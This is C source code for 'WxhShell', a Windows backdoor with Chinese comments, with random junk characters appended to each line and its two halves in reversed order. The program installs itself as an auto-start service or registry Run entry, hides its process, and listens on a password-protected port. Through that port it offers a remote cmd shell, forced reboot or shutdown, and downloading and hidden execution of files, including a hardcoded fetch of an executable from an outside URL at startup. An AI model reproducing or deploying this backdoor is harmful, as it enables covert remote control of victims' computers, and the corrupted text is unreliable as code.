    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `Nmw  
    if(Boot(SHUTDOWN)) H5j6$y|I|N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E Mq P  
    else { b"n0Yk1  
    closesocket(wsh); H`|8x4  
    ExitThread(0); v#J 2yg  
    } ]JF>a_2wG  
    break; O N..B} J  
    } C&?Z\$ -/  
  // 获取shell IIcG+zwx  
  case 's': { Gv?3T Am8  
    CmdShell(wsh); h3U| ~h  
    closesocket(wsh); H=O/w3  
    ExitThread(0); +Z99x#  
    break; da<B6!  
  } s>hNwb/  
  // 退出 *\><MXx  
  case 'x': { 8i"v7}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  _dCdyf  
    CloseIt(wsh); 5'>DvCp%M  
    break; ,xmmS\  
    } 5nC#<EE  
  // 离开 |Xz-rgkQ  
  case 'q': { ([\mnL<FC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1h_TG.YL9>  
    closesocket(wsh); MHNuA,cz  
    WSACleanup(); 91'i7&~xdG  
    exit(1); KG7 ~)g  
    break; SbS*z:  
        } VrDSN  
  } .)J7 \z8m  
  } ;Qe-y|>  
H8@1Kt  
  // 提示信息 _M[@a6?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p,#t[K  
} ?Vg251-H  
  } jNRR=0  
RN2^=$'.  
  return; Itaq4^CE  
} /o@6? UH  
2ZUI~:U Z  
// shell模块句柄 jD]Ci#|W  
int CmdShell(SOCKET sock) 3Wv -olv  
{ (SMnYh4  
STARTUPINFO si; W%Jw\ z=  
ZeroMemory(&si,sizeof(si)); &d}1) ?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o%Ubn*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "QCtF55X&  
PROCESS_INFORMATION ProcessInfo; E<6Fjy  
char cmdline[]="cmd"; ]=Im0s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SLI(;, s  
  return 0; /Mq9~oC  
} }.`no  
rLP:kP'b  
// 自身启动模式 WTWONO>  
int StartFromService(void) b2rlj6d  
{ ?fv5KdD  
typedef struct VS.~gHx  
{ Jkf%k3H3I*  
  DWORD ExitStatus; LdAWCBLS  
  DWORD PebBaseAddress; :@x_& b  
  DWORD AffinityMask; `X;'*E]e  
  DWORD BasePriority; ,v<GSiO  
  ULONG UniqueProcessId; 7nsn8WN[  
  ULONG InheritedFromUniqueProcessId; 8rZJvE#c  
}   PROCESS_BASIC_INFORMATION; y^OT0mZkg  
QlxzWd3=q  
PROCNTQSIP NtQueryInformationProcess;  al#BfcZW  
=17d7#-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0<ze'FbV]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 04o>POR  
K14FY2"  
  HANDLE             hProcess; ;iB9\p$K)  
  PROCESS_BASIC_INFORMATION pbi; 4\?z^^  
 DT2uUf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (3. B\8s  
  if(NULL == hInst ) return 0; }o9fpo|  
,$4f#)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )-jA4!&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >oD,wSYV~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /J@<e{&t~  
 Vv|%;5(  
  if (!NtQueryInformationProcess) return 0; <I 5F@pe'  
w; rQ\gj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &|]GTN`E  
  if(!hProcess) return 0; ;,WI_iP(w  
O%H c%EfG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qk5pRoL_  
'sII/sq`(  
  CloseHandle(hProcess); :}B=Bk/q  
+mu.W r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [{&GMc   
if(hProcess==NULL) return 0; Fy6(N{hql  
!4Oj^yy%  
HMODULE hMod; |!Uul0O  
char procName[255]; x^sSAI(  
unsigned long cbNeeded; eE=}^6)(*  
o&U'zaj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )G+D6s23  
dQ.:xu}~  
  CloseHandle(hProcess); (=\))t8J  
;L`NF"  
if(strstr(procName,"services")) return 1; // 以服务启动 2h;#BJ))  
a62'\wF>D  
  return 0; // 注册表启动 NsJ]Tp5!  
} $*\G Z$y>  
/s~(? =qYH  
// 主模块 &m PR[{  
int StartWxhshell(LPSTR lpCmdLine) ;#/Uo8  
{ /l%+l@  
  SOCKET wsl; w/49O;rV  
BOOL val=TRUE; Jc=~BT_G  
  int port=0; eV5 e:9  
  struct sockaddr_in door; >LAhc7I  
f,(@K%  
  if(wscfg.ws_autoins) Install(); 6,raRg6  
;5dA  
port=atoi(lpCmdLine); bxc!x>)  
SuJa?VU1w  
if(port<=0) port=wscfg.ws_port; fD* ?JzVY  
qx'F9I  
  WSADATA data; A [hvT\X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?PSJQ3BC|  
Tfytc$aQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "KHe6otmi_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >gT QD\k:D  
  door.sin_family = AF_INET; ZUd*[\F~!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i6-&$<  
  door.sin_port = htons(port); vEZd;40y  
XS_Ib\-50  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v(GT+i)|  
closesocket(wsl); qX"m"ko  
return 1; eZbT;  
} Q2LAXTF]y  
xXQW|#X\  
  if(listen(wsl,2) == INVALID_SOCKET) { gw^X-  
closesocket(wsl); E%&E<<nhZ  
return 1; rvUJ K,oE  
} na`8ulN_  
  Wxhshell(wsl); Aq*,cOF+  
  WSACleanup(); .a_xQ]eQ  
IKFNu9*"h  
return 0; KB`">zq$u  
8(@ Y@`/  
} '-2|GX_o  
Cj10?BNV)  
// 以NT服务方式启动 8h{;*Wr-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1\LK[tvh  
{ @tfatq+q  
DWORD   status = 0; i}_d&.DbF  
  DWORD   specificError = 0xfffffff; =vD}O@tN  
$.Qu55=z<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~E3"s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A4IPd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z#Cgd-^7.#  
  serviceStatus.dwWin32ExitCode     = 0; _h1:{hF  
  serviceStatus.dwServiceSpecificExitCode = 0; JfVGs;_,  
  serviceStatus.dwCheckPoint       = 0; 0 >:RFCo  
  serviceStatus.dwWaitHint       = 0; ApotRr$)  
(jtkY_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dy|DQ>?}  
  if (hServiceStatusHandle==0) return; Q39;bz  
w<m e(!-'  
status = GetLastError(); Y{c+/n3d  
  if (status!=NO_ERROR) ]%<0V,G q  
{ @D2KDV3'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W:y'a3~  
    serviceStatus.dwCheckPoint       = 0; "*oN~&flc  
    serviceStatus.dwWaitHint       = 0; 'l41];_  
    serviceStatus.dwWin32ExitCode     = status; Vd+5an?  
    serviceStatus.dwServiceSpecificExitCode = specificError; G&,2>qxK R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EWp'zbWP  
    return; W't.e0L<6  
  } &aWY{ ?_  
K/D,sH!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mF@D O$  
  serviceStatus.dwCheckPoint       = 0; /e50&]2w  
  serviceStatus.dwWaitHint       = 0; Jo9!:2?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jKhj 7dR  
} EC f $  
i= s>a;*#  
// 处理NT服务事件,比如:启动、停止 JNSH'9!n6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ghVxcK  
{ ,}HnS)+  
switch(fdwControl) L~} 2&w  
{ X0zE-h6P  
case SERVICE_CONTROL_STOP: zmp Q=%/H  
  serviceStatus.dwWin32ExitCode = 0; S X6P>:`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b1t7/q  
  serviceStatus.dwCheckPoint   = 0; Z<~^(W7h  
  serviceStatus.dwWaitHint     = 0; HH aerc  
  { O\[Td  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BGZvgMxLJ  
  } /u N3"m5i  
  return; 7).zed^  
case SERVICE_CONTROL_PAUSE: 2apQ4)6#[H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  i'NN  
  break; pTzfc`~xv  
case SERVICE_CONTROL_CONTINUE: '$5o5\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GcA!I!j/  
  break; a&~]77)  
case SERVICE_CONTROL_INTERROGATE: )`gE-udR  
  break; #zv'N  
}; Xn:ac^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +H8;*uZ|k,  
} ;WpPdR2  
!Knv/:+  
// 标准应用程序主函数 {1j[RE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yi9c+w)b  
{ 6P:H`  
;3k6_ub  
// 获取操作系统版本 G9uWn%5r  
OsIsNt=GetOsVer(); KqT~MPl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n\D3EP<s  
k%v/&ojI  
  // 从命令行安装 D $[/|%3  
  if(strpbrk(lpCmdLine,"iI")) Install(); kzcD}?mSS  
M"$TXXe  
  // 下载执行文件 ;r XhK$  
if(wscfg.ws_downexe) { %D:5 S?{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4uUR2J  
  WinExec(wscfg.ws_filenam,SW_HIDE); )B' U_*  
} # pz{,  
ofA6EmQ37  
if(!OsIsNt) { r]vD]  
// 如果时win9x,隐藏进程并且设置为注册表启动 w_ po47S4  
HideProc(); m%?b"kxL[  
StartWxhshell(lpCmdLine); |Zo_x} 0  
} R(sa.Q\D4  
else r ,,A%  
  if(StartFromService()) G ]mX+?  
  // 以服务方式启动 .cX,"2;n  
  StartServiceCtrlDispatcher(DispatchTable); lZup n?  
else AFcA5: ja  
  // 普通方式启动 I#tEDeF2  
  StartWxhshell(lpCmdLine); jn;b{*Lf  
Y)L\*+ >"[  
return 0; 5bzYTK&-  
} ,As78^E{  
!%2aw0Yv  
l C|{{?m  
+/Lf4??JV  
=========================================== fKY1=3  
~-w  
<#9zc'ED:  
/@bLc1"  
~Zd n#z\  
r,4V SyZF\  
" 9/k?Lv  
\..(!>,%F  
#include <stdio.h> fV.43E  
#include <string.h> Px4 zI9;cB  
#include <windows.h> 4l?98  
#include <winsock2.h> {&c%VVZb:Z  
#include <winsvc.h> B&m?3w  
#include <urlmon.h> 6YZ&>` a^  
,b@0Qa"  
#pragma comment (lib, "Ws2_32.lib") /m;w~ -N  
#pragma comment (lib, "urlmon.lib") Vy:ER  
NB&u^8b  
#define MAX_USER   100 // 最大客户端连接数 | We @p  
#define BUF_SOCK   200 // sock buffer 'g a1SbA]  
#define KEY_BUFF   255 // 输入 buffer IfZaK([  
GZc%*  
#define REBOOT     0   // 重启 ~QsQ7SAs  
#define SHUTDOWN   1   // 关机 ::vw 1Es  
+G_6Ek4  
#define DEF_PORT   5000 // 监听端口 B!le=V,@,  
=P+S]<O  
#define REG_LEN     16   // 注册表键长度 j$]t`6gG  
#define SVC_LEN     80   // NT服务名长度 NC vwg  
% KY&E>^  
// 从dll定义API Dg#Ab8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #V8='qD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,9#G/nF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k- sbZL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); " I@Z:[=2  
^U_B>0`ch  
// wxhshell配置信息 )vS## -[_  
struct WSCFG { A?;/]m;  
  int ws_port;         // 监听端口 rDYq]`  
  char ws_passstr[REG_LEN]; // 口令 5.|rzk>  
  int ws_autoins;       // 安装标记, 1=yes 0=no _TB\@)\  
  char ws_regname[REG_LEN]; // 注册表键名 m`9)DsR N  
  char ws_svcname[REG_LEN]; // 服务名 %'* |N [  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YS{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,oP-:q!PC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^%d+nKx9nL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \FTv N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hpXu3o7e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SAG) vmm  
(>0d+ KT  
}; -lMC{~h\(S  
nwN<Q\]S  
// default Wxhshell configuration KX<RD|=  
struct WSCFG wscfg={DEF_PORT, =QyO$:t  
    "xuhuanlingzhe", IFPywL{K  
    1, F;ONo.v;  
    "Wxhshell", HXdPKS4q  
    "Wxhshell", O|j5ulO}&"  
            "WxhShell Service", 8XJ%Yuu  
    "Wrsky Windows CmdShell Service", @;<w"j`r  
    "Please Input Your Password: ", ]jHB'Y  
  1, ~.x!st}  
  "http://www.wrsky.com/wxhshell.exe", @-b}iP<T  
  "Wxhshell.exe" H[,.nH_>+  
    }; >M:5yk@  
4g1u9Sc0  
// 消息定义模块 K)Db3JIIk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v:6b&wS L3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EmY4>lr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O~,^x$v e  
char *msg_ws_ext="\n\rExit."; X\%],"9%  
char *msg_ws_end="\n\rQuit."; wOi>i`D&  
char *msg_ws_boot="\n\rReboot..."; 5[gkGKkf_  
char *msg_ws_poff="\n\rShutdown..."; ?o.G@-  
char *msg_ws_down="\n\rSave to "; =,@SZsM*B  
jQ`"Op 3  
char *msg_ws_err="\n\rErr!"; %q*U[vv  
char *msg_ws_ok="\n\rOK!"; nLtP^ 1~9H  
6xFZv t  
char ExeFile[MAX_PATH]; }(tGjx]  
int nUser = 0; aYj3a;EmU  
HANDLE handles[MAX_USER]; x(b&r g.-0  
int OsIsNt; 2qr%xK'^B  
#Y18z5vo  
SERVICE_STATUS       serviceStatus; 2s{yg%U(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %?wuKZLnc  
tIr66'8  
// 函数声明 D9LwYftZ  
int Install(void); ;C"J5RA  
int Uninstall(void); `a6;*r y  
int DownloadFile(char *sURL, SOCKET wsh); Xj-3C[ 8@  
int Boot(int flag); C3_*o>8  
void HideProc(void); W;-Qze\D  
int GetOsVer(void); d=5D 9' +  
int Wxhshell(SOCKET wsl); _>`0!mG  
void TalkWithClient(void *cs); !X.N$0  
int CmdShell(SOCKET sock); S$H4xkKs  
int StartFromService(void); XW#4C*5?d  
int StartWxhshell(LPSTR lpCmdLine); KcU,RTE  
NfO0^^"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~0}eNz*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u51/B:+   
F@I_sGCcb  
// 数据结构和表定义 FCe503qND$  
SERVICE_TABLE_ENTRY DispatchTable[] = rb_G0/R  
{ ji8 Rd"S  
{wscfg.ws_svcname, NTServiceMain}, hW},%  
{NULL, NULL} y1'/@A1  
}; >'T%=50YH  
Z~nl{P#  
// 自我安装 /.?\P#9)  
int Install(void) *@ o3{0[Z  
{ @E)XT\;3  
  char svExeFile[MAX_PATH]; .U3p~M+  
  HKEY key; i Bi/9  
  strcpy(svExeFile,ExeFile); *= 71/&B  
"D k:r/  
// 如果是win9x系统,修改注册表设为自启动 0I_;?i  
if(!OsIsNt) { `Q8 D[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7/1S5yUr|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Sn1YAhE  
  RegCloseKey(key); z%KChU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %qQ(@TG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kaa*;T![  
  RegCloseKey(key); QXz!1o+"  
  return 0; {k*_'0   
    } Z~|J"2.  
  } fkG8,=  
} w-"&;klV  
else { 3pp w_?k  
<(MFEIt  
// 如果是NT以上系统,安装为系统服务 L$xRn/\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6)$_2G%Zq  
if (schSCManager!=0) ^ \?9W  
{ h$&XQq0T  
  SC_HANDLE schService = CreateService qWFg~s#+  
  ( g)9/z  
  schSCManager, fz&}N`n  
  wscfg.ws_svcname, uS'ji k}  
  wscfg.ws_svcdisp, 39j d}]e  
  SERVICE_ALL_ACCESS, (Gn[T1p?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w(j9[  
  SERVICE_AUTO_START, O2G+ '  
  SERVICE_ERROR_NORMAL, P1QJ'eC;T  
  svExeFile, ^sKXn:)  
  NULL, ASvPr*q/  
  NULL, s]iOC6v  
  NULL, 07|NPS  
  NULL, 7N"Bbl  
  NULL zEW:Xe)  
  ); h 3&:"*A2  
  if (schService!=0) v#|c.<].  
  { o FLrSmY)E  
  CloseServiceHandle(schService); l.x }I"tf  
  CloseServiceHandle(schSCManager); 4m*(D5Y=|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pJz8e&wyLM  
  strcat(svExeFile,wscfg.ws_svcname); qt(:bEr^6b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J [ H?nX9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -z$0S%2?  
  RegCloseKey(key); kA4ei  
  return 0; C]fTV{  
    } kPH^X}O$  
  } \6hL W_q1  
  CloseServiceHandle(schSCManager); wIF ":'  
} i =N\[&  
} (J&Xo.<Z-  
*fSM'q;  
return 1; yk<jlVF$j  
} k~f+LO  
rcx;3Vne  
// 自我卸载 x\.i `ukx  
int Uninstall(void) RRqMwy>%  
{ +^? -}v  
  HKEY key; 49oW 'j  
0:'jU  
if(!OsIsNt) { fVUBCu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \GvY`kt3  
  RegDeleteValue(key,wscfg.ws_regname); x{>Y$t]  
  RegCloseKey(key); |OZ>/l {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H ?j-=Zka  
  RegDeleteValue(key,wscfg.ws_regname); S}^s 5ztm  
  RegCloseKey(key); eCIRt/ uA  
  return 0; mN{ajf)@  
  } s2?,'es  
} Gv,92ny!|  
} 9c{%m4  
else { n>:c}QAJH  
#)A?PO2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fslk7RlSKg  
if (schSCManager!=0) {Okik}Oh  
{ AKKU-5 B9c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v?D kDnta  
  if (schService!=0) #)mkD4  
  { {0vbC/?]  
  if(DeleteService(schService)!=0) { h2|vB+W-  
  CloseServiceHandle(schService); 4 uy@ {  
  CloseServiceHandle(schSCManager); R%N#G<^R  
  return 0; aI{@]hCo  
  } ?PE1aB+{:  
  CloseServiceHandle(schService); xUo)_P\_  
  } nUud?F^_  
  CloseServiceHandle(schSCManager); 3]`qnSYBv  
} J4Z<Yt/  
} ]u4>;sa  
! jX+ox  
return 1; '5xuT _  
} lv\F+?]a  
NkA6Cp[Q,1  
// 从指定url下载文件 W_BAb+$aF  
int DownloadFile(char *sURL, SOCKET wsh) DtF![0w/  
{ U.pr} hq  
  HRESULT hr; ;%rs{XO9  
char seps[]= "/"; or!D  
char *token; }U?gKlLg  
char *file; [2QY  
char myURL[MAX_PATH]; >^T,U0T])  
char myFILE[MAX_PATH]; yToT7 X7F7  
RRI>bh]  
strcpy(myURL,sURL); /md Q(Dm  
  token=strtok(myURL,seps); neB.Wu~WH  
  while(token!=NULL) nXM9Px!  
  { M=\d_O#;Z  
    file=token; q-3J.VLJ5H  
  token=strtok(NULL,seps); K{= r.W  
  } [I++>4  
7dufY }}  
GetCurrentDirectory(MAX_PATH,myFILE); S& ,Ju%  
strcat(myFILE, "\\"); =p,4=wo{  
strcat(myFILE, file); =0s`4Y"+  
  send(wsh,myFILE,strlen(myFILE),0); *%Nns',  
send(wsh,"...",3,0); <nOuyGIZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r?"}@MRW  
  if(hr==S_OK) l${Hgn+  
return 0; 1%SJ1oY  
else |~/3u/  
return 1; ^^4K/XBve  
W;OYO  
} Jm]]>K8.3V  
[.#p  
// 系统电源模块 f gK2.;>  
int Boot(int flag) kH>vD = q>  
{ d6t)gG*5  
  HANDLE hToken; H;TOPtt2  
  TOKEN_PRIVILEGES tkp; 33{;[/4  
qXP1Q3  
  if(OsIsNt) { 7E!";HT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [Q7->Wo|S:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k lP{yxU'n  
    tkp.PrivilegeCount = 1; xI`Uk8-8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rnMG0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <i{m.p R>  
if(flag==REBOOT) { 8`AcS|k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9&[) (On74  
  return 0; fR]p+\#8u*  
} E,*JPK-A x  
else { !~lVv&YO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3P+4S|@q(4  
  return 0; 3xmiX{1e  
} r%Q8)nEo  
  } .\ ;l-U  
  else { f7_\).T  
if(flag==REBOOT) { L;.VEz!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -A~;MGY  
  return 0; Z%Tq1O  
} a!c/5)v(  
else { eEWro F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r%g <h T 8  
  return 0; E(aX4^]g  
} ";-{ ~  
} */%$6s~  
~4MtDf  
return 1; g( ]b\rj  
} 8Z9MD<RLw  
~h>rskJ _  
// win9x进程隐藏模块 m6bWmGn GC  
void HideProc(void) .KT 7le<Zm  
{ hV3,^#9o  
'WKu0Yi^'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "B|nhd  
  if ( hKernel != NULL ) }|Hw0zP.  
  { 8Ehy9<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G?Qe"4 .  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L?3VyBE  
    FreeLibrary(hKernel); 6pM"h5hA  
  } W\I$`gyC/  
4)z3X\u|Z2  
return; T8,k7 7  
} ]6a/0rg:t  
`!UaScM  
// 获取操作系统版本 tIi!* u  
int GetOsVer(void) U7nsMD  
{ BpQ;w,sefq  
  OSVERSIONINFO winfo; pX>ua5Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7%:??*"~  
  GetVersionEx(&winfo); Qq`3S>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NDB*BmG  
  return 1; S KB@  
  else 8eOl@}bV  
  return 0; 'sm[CNzS  
} ~u_K& X  
17V\2=Io  
// 客户端句柄模块 c^ixdk  
int Wxhshell(SOCKET wsl) &_Cxv8  
{ paq8L{R  
  SOCKET wsh; ;el]LnV!O  
  struct sockaddr_in client; 5S&aI{;9<  
  DWORD myID; q Axf5  
L]c 8d   
  while(nUser<MAX_USER) Tjd&^m  
{ [=XZza.z  
  int nSize=sizeof(client); v;)BVv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <ldid]o #  
  if(wsh==INVALID_SOCKET) return 1; c+szU}(f6(  
.Lr`j8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :@:g*w2K  
if(handles[nUser]==0) r:fwrC  
  closesocket(wsh); P\D[n-&  
else 68v xI|EZ  
  nUser++; ?~F]@2)5w  
  } 2"T8^r|U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 98D{{j92  
<h'8w  
  return 0; #Y;.>mF  
} 8pX f T%]  
mBw2  
// 关闭 socket umJay />  
void CloseIt(SOCKET wsh) M.o?CX'  
{ ,$HHaoo g  
closesocket(wsh); ,3G$`  
nUser--; Zr\2BOcc.l  
ExitThread(0); >=4sPF)  
} am]3 "V>  
Hm.X}HO0L  
// 客户端请求句柄 R!sNg   
void TalkWithClient(void *cs) n (OjjR m  
{ y.jS{r".  
QH& %mr.S  
  SOCKET wsh=(SOCKET)cs; qsI{ b<n  
  char pwd[SVC_LEN]; |!$ Q<-]f  
  char cmd[KEY_BUFF]; Sv.KI{;v$  
char chr[1]; \z2vV +f  
int i,j; y' 2<qj  
cge-'/8w%  
  while (nUser < MAX_USER) { $`^H:Djr  
DY$yiOH9  
if(wscfg.ws_passstr) { PqTYAN&F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b OW}"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V78Mq:7d  
  //ZeroMemory(pwd,KEY_BUFF); x*:n4FZ7b  
      i=0; P1dN32H o  
  while(i<SVC_LEN) { !?yxh/>lM  
^%-NPo<  
  // 设置超时 G=vN;e_$_b  
  fd_set FdRead; g<M0|eX@~  
  struct timeval TimeOut; eT;AAGql  
  FD_ZERO(&FdRead); ]a8eDy  
  FD_SET(wsh,&FdRead); g* %bzfk=|  
  TimeOut.tv_sec=8; Y3D3.T6Q  
  TimeOut.tv_usec=0; D5=C^`$2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fW(;   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *zJD$+Fo  
#]"/{Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1Pu ,:Jt  
  pwd=chr[0]; Q?W r7  
  if(chr[0]==0xd || chr[0]==0xa) { ,Yo: &>As  
  pwd=0; x<8\-  
  break; ;9K[~  
  } IoQr+:_R  
  i++; yU> T8oFh  
    } 'T%IvJ#Xu  
O2C6V>Q;  
  // 如果是非法用户,关闭 socket ]OUD5T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $H4=QVj6  
} 6KVV z/  
ki#y&{v9Be  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K/DH / r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XnD0eua#  
5Qb;2!  
while(1) { %?@x]B9Y8E  
=1O?jrl~q  
  ZeroMemory(cmd,KEY_BUFF); AD(xaQ&T  
e,^pMg~  
      // 自动支持客户端 telnet标准   }Bd_:#.mw  
  j=0; xOhRTxic  
  while(j<KEY_BUFF) { e!6eZ)l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ubD#I{~J  
  cmd[j]=chr[0]; %@>YNPD`E  
  if(chr[0]==0xa || chr[0]==0xd) { #sL/y  
  cmd[j]=0; dZF8 R  
  break; 'HCnB]1  
  } II&<  
  j++; 5qGGu.$Ihi  
    } ehU"*9  
; /=L  
  // 下载文件 v Xc!Zg~  
  if(strstr(cmd,"http://")) { /=bSt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); av$  
  if(DownloadFile(cmd,wsh)) t`uc3ta"9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [@g~  
  else " l.!Ed  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f7.m=lbe  
  } Sq<3Rw  
  else { {Wh BoD  
(Bsw/wv  
    switch(cmd[0]) { li@k Lh  
